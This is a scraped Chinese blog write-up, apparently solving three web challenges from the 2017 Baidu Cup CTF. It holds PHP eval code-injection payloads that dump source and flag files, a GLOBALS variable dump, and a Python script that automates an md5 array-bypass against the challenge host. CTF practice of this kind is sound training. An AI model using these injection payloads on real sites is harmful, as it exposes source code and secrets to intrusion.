1. 程式人生 > >“百度杯”CTF比賽 2017 二月場(Misc Web)

“百度杯”CTF比賽 2017 二月場(Misc Web)

函數 ext time() info erro 一段 hello span clas

  • 爆破-1

技術分享圖片

打開鏈接,是502

技術分享圖片

我直接在後面加個變量傳參數:?a=1

技術分享圖片

出了一段代碼

var_dump()函數中,用了$$a,可能用了超全局變量GLOBALS

給hello參數傳個GLOBALS

技術分享圖片

得到flag

  • 爆破-2

技術分享圖片

打開鏈接

技術分享圖片

var_dump()會返回數據變量的類型和值

eval()會把字符串當作php代碼

有兩種方法得到flag

1:?hello=file(‘flag.php‘)

技術分享圖片

2:?hello=);show_source(‘flag.php‘);var_dump(

技術分享圖片

  • 爆破-3

技術分享圖片

打開鏈接,還是php代碼

<?php 
error_reporting(0);
session_start();
require(‘./flag.php‘);
if(!isset($_SESSION[‘nums‘])){
  $_SESSION[‘nums‘] = 0;
  $_SESSION[‘time‘] = time();
  $_SESSION[‘whoami‘] = ‘ea‘;
}

if($_SESSION[‘time‘]+120<time()){
  session_destroy();
}

$value = $_REQUEST[‘value‘];
$str_rand = range(‘a‘, ‘z‘);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION[‘whoami‘]==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION[‘nums‘]++;
  $_SESSION[‘whoami‘] = $str_rands;
  echo $str_rands;
}

if($_SESSION[‘nums‘]>=10){
  echo $flag;
}

show_source(__FILE__);
?>

關鍵幾點:

變量str_rand的值是2位小寫字母

如果SESSIONS中的whoami參數和參數value的值相等,並且md5()函數處理後的變量value的第5位開始往後4位等於0,nums就會加1,whoami的值就也會更新,當nums大於10的話,就能得到flag了

數組可以繞過md5的這個判斷,因為md5()函數處理一個數組會返回null,null==0

第一次傳參,?value[]=ea

技術分享圖片

第二次傳參,?value[]=mj,以此類推

可以寫個python腳本跑一下

import requests

s = requests.session()

strs = [‘abcdefghijklmnopqrstuvwxyz‘]

url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea"
r = s.get(url)

for i in range(10):
    url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2]
    r = s.get(url_1)
    print(r.url)
    if ‘flag{‘ in r.text:
    	print(r.text)

運行結果

技術分享圖片

得到flag

“百度杯”CTF比賽 2017 二月場(Misc Web)